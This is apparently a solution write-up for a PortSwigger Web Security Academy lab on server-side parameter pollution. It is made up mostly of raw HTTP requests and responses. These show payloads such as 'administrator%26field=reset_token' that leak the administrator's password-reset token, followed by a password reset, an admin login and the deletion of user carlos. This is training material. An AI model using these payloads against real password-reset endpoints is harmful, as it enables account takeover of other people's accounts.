Port Swigger Exploiting server side parameter poll
Exploiting server-side parameter pollution in a query string
Solution
Open the website: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login
Login panel: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login
Sent random request - random login request
POST /login HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=ssss&password=dddd
Add # to username
Payload: administrator%23
Get error: Field not specified
---
POST /forgot-password HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 63
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator%23
---
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33
{"error": "Field not specified."}
Add parametr "field"
Payload: %26field=username
---
POST /forgot-password HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 77
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator%26field=username
Read file: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/static/js/forgotPassword.js
GET /static/js/forgotPassword.js HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
---
...
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
...
Get reset_token
Get reset_token
reset_token=vq4938atl8kfvprbu39pw11sitjeimex
---
POST /forgot-password HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 80
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator%26field=reset_token
---
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66
{"result":"vq4938atl8kfvprbu39pw11sitjeimex","type":"reset_token"}
Reset password for user: administrator
GET /forgot-password?reset_token=vq4938atl8kfvprbu39pw11sitjeimex HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 0
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
---
POST /forgot-password?reset_token=vq4938atl8kfvprbu39pw11sitjeimex HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password?reset_token=vq4938atl8kfvprbu39pw11sitjeimex
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&reset_token=vq4938atl8kfvprbu39pw11sitjeimex&new-password-1=Qwerty123&new-password-2=Qwerty123
Login as user: administrator with a new password
POST /login HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator&password=Qwerty123
---
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=medWFDDWsq8R91HDLvbrd24IkUPUqIbz; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Delete user: carlos
GET /admin/delete?username=carlos HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=medWFDDWsq8R91HDLvbrd24IkUPUqIbz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
---
GET /admin HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=medWFDDWsq8R91HDLvbrd24IkUPUqIbz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/admin/delete?username=carlos
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 6094
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>Exploiting server-side parameter pollution in a query string</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner is-solved'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Exploiting server-side parameter pollution in a query string</h2>
<a class=link-back href='https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-solved'>
<span>LAB</span>
<p>Solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
<section id=notification-labsolved class=notification-labsolved>
<div class=container>
<h4>Congratulations, you solved the lab!</h4>
<div>
<span>
Share your skills!
</span>
<a class=button href='https://twitter.com/intent/tweet?text=I+completed+the+Web+Security+Academy+lab%3a%0aExploiting+server-side+parameter+pollution+in+a+query+string%0a%0a@WebSecAcademy%0a&url=https%3a%2f%2fportswigger.net%2fweb-security%2fapi-testing%2fserver-side-parameter-pollution%2flab-exploiting-server-side-parameter-pollution-in-query-string&related=WebSecAcademy,Burp_Suite'>
<svg xmlns='http://www.w3.org/2000/svg' width=24 height=24 viewBox='0 0 20.44 17.72'>
<title>twitter-button</title>
<path d='M0,15.85c11.51,5.52,18.51-2,18.71-12.24.3-.24,1.73-1.24,1.73-1.24H18.68l1.43-2-2.74,1a4.09,4.09,0,0,0-5-.84c-3.13,1.44-2.13,4.94-2.13,4.94S6.38,6.21,1.76,1c-1.39,1.56,0,5.39.67,5.73C2.18,7,.66,6.4.66,5.9-.07,9.36,3.14,10.54,4,10.72a2.39,2.39,0,0,1-2.18.08c-.09,1.1,2.94,3.33,4.11,3.27A10.18,10.18,0,0,1,0,15.85Z'></path>
</svg>
</a>
<a class=button href='https://www.linkedin.com/sharing/share-offsite?url=https%3a%2f%2fportswigger.net%2fweb-security%2fapi-testing%2fserver-side-parameter-pollution%2flab-exploiting-server-side-parameter-pollution-in-query-string'>
<svg viewBox='0 0 64 64' width='24' xml:space='preserve' xmlns='http://www.w3.org/2000/svg'
<title>linkedin-button</title>
<path d='M2,6v52c0,2.2,1.8,4,4,4h52c2.2,0,4-1.8,4-4V6c0-2.2-1.8-4-4-4H6C3.8,2,2,3.8,2,6z M19.1,52H12V24.4h7.1V52z M15.6,18.9c-2,0-3.6-1.5-3.6-3.4c0-1.9,1.6-3.4,3.6-3.4c2,0,3.6,1.5,3.6,3.4C19.1,17.4,17.5,18.9,15.6,18.9z M52,52h-7.1V38.2 c0-2.9-0.1-4.8-0.4-5.7c-0.3-0.9-0.8-1.5-1.4-2c-0.7-0.5-1.5-0.7-2.4-0.7c-1.2,0-2.3,0.3-3.2,1c-1,0.7-1.6,1.6-2,2.7 c-0.4,1.1-0.5,3.2-0.5,6.2V52h-8.6V24.4h7.1v4.1c2.4-3.1,5.5-4.7,9.2-4.7c1.6,0,3.1,0.3,4.5,0.9c1.3,0.6,2.4,1.3,3.1,2.2 c0.7,0.9,1.2,1.9,1.4,3.1c0.3,1.1,0.4,2.8,0.4,4.9V52z'/>
</svg>
</a>
<a href='https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string'>
Continue learning
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/admin">Admin panel</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<section>
<p>User deleted successfully!</p>
<h1>Users</h1>
</section>
<br>
<hr>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
Solved